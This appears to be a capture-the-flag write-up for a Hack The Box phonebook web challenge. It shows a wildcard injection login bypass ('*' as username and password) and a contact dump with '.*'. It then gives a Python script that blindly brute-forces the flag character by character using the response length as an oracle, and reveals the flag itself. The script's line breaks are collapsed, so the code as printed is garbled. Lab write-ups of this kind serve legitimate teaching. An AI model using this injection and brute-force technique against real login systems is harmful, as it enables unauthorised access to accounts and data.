Initially I couldn't find the username and password for login. So, I was looking for someother endpoint other than login.
I was able to find two other enpoints:
964430b4cdd199af19b986eaf2193b21f32542d0
search
Access Denied
The 964430b4cdd199af19b986eaf2193b21f32542d0 page had a search box, which made a POST request to the search endpoint. But it kept on returning Access Denied - 403 Error message.
Dumping all the contacts in the phonebook
Login with wild card character (*)
On entering the username and password as a wildcard character (*), I was able to login into the site.
Search using regex (.*)
Now in the search box, I tried the same wildcard character, but it didn't work.
So, I used the regex that matches any string .*, which gave me the following output:
We'll try to find the password. My intuition is that the password might be the flag.
We know that the wildcard character (*) will let us login. So, we can try to append some character before and after the wildcard character (*).
So let's try * as the username and HTB{*} as the password, because this the flag format for HTB challenges.
Now we are able to login. This confirms that the password is the flag.
So we need some script to bruteforce the flag.
#!/usr/bin/env python3import requestsimport stringurl ="http://138.68.182.108:30733/login"leaked_pass =list("HTB{")# Remove the wildcard characterprintable = string.printable.replace('*', '')whileTrue:for character in printable:print("Guessing "+''.join(leaked_pass) + character +"*") r = requests.post(url, {"username":"*", "password": ''.join(leaked_pass) + character +"*"})#print(r.headers['Content-Length'])if r.headers['Content-Length']=='2586': leaked_pass.append(character)break# End of the flagif leaked_pass[-1]=='}':exit()
Solution
We get the password/flag as: HTB{d1rectory_h4xx0r_is_k00l}